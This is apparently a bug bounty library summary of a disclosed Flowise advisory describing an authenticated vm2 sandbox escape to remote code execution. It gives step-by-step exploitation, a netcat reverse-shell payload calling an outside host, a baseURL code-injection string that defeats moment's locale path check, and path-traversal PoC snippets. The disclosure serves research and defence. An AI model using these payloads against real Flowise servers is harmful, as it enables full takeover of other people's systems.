# Flowise Sandbox Escape to RCE

Authenticated Flowise user injects JS via unvalidated baseURL hash into vm2-sandboxed code, bypassing moment's locale check to escape the sandbox and achieve RCE.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: alex-elttam
- Disclosed: 2026-08-04
- CVE: CVE-2026-69253
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-wg86-r78f-74mp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wg86-r78f-74mp
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:path-traversal vuln:rce vuln:sandbox-escape

**Target:** AgentAsTool node / vm2 JavaScript sandbox
**Root cause:** baseURL is only checked with new URL(), which ignores the hash fragment, and is then string-interpolated into sandboxed JS. The sandbox's moment.locale() path-traversal patch calls name.match(), which a crafted String object with an overridden match() bypasses, allowing require of an arbitrary file outside vm2.
**Steps:**
1. Log in, capture activeOrganizationId from POST /api/v1/auth/login response.
2. Create a document store, upload rce.js containing `process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')` via File Loader; note storeId from POST /api/v1/document-store/loader/process/{loader_id} response.
3. Create an empty Agentflow, then a Chatflow with AgentAsTool + BufferMemory + ChatOpenAI + ToolAgent; save.
4. Intercept PUT /api/v1/chatflows/{id} and set baseURL to `https://192.168.122.62:3000/#";
fake = new String("../../../../.../.flowise/storage/{org}/docustore/{store}/rce.js");
fake.match = function(regexp){return true;};
require("moment").locale(fake);//`
5. Send a chat message to trigger the tool; the injected code runs outside vm2 and executes the uploaded payload, giving a reverse shell.
**How found:** Noted vm2 is deprecated/insecure and that several nodes still pass useSandbox:false. Reviewed isValidURL and saw new URL() accepts arbitrary hash content, which is interpolated into generated code. Recalled moment's CVE-2022-24785 patch relies on name.match(), which is attacker-controllable on a String object, making the patch bypassable inside the sandbox.
**Exploitation:** Authenticated attacker uploads a JS payload as a document, then injects code into the AgentAsTool baseURL. The injected code overrides String.match to defeat moment's locale path check, uses moment.locale() to require the uploaded file outside the vm2 sandbox, and executes it in the Node process, yielding a reverse shell as the node user.
**Escalation:** Chained broken URL validation -> JS injection into sandboxed code -> moment locale path traversal -> vm2 escape -> arbitrary file require -> RCE.
**Insight:** When a sandbox exposes a library with a patched path-traversal (moment locale), check whether the patch calls methods on attacker-controlled objects (match) that can be overridden. Also, URL validators using new URL() ignore hash fragments, so any string interpolated into generated code after such validation is injectable.

## Proof of concept (copied exactly from the original report)

**baseURL injection payload for sandbox escape**

```
"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"
```

**moment locale match bypass PoC**

```
fake = new String("../../../../../../../../../../../../../../../etc/passwd");
fake.match = function(regexp){return true;}; <1>
require("moment").locale(fake);
```

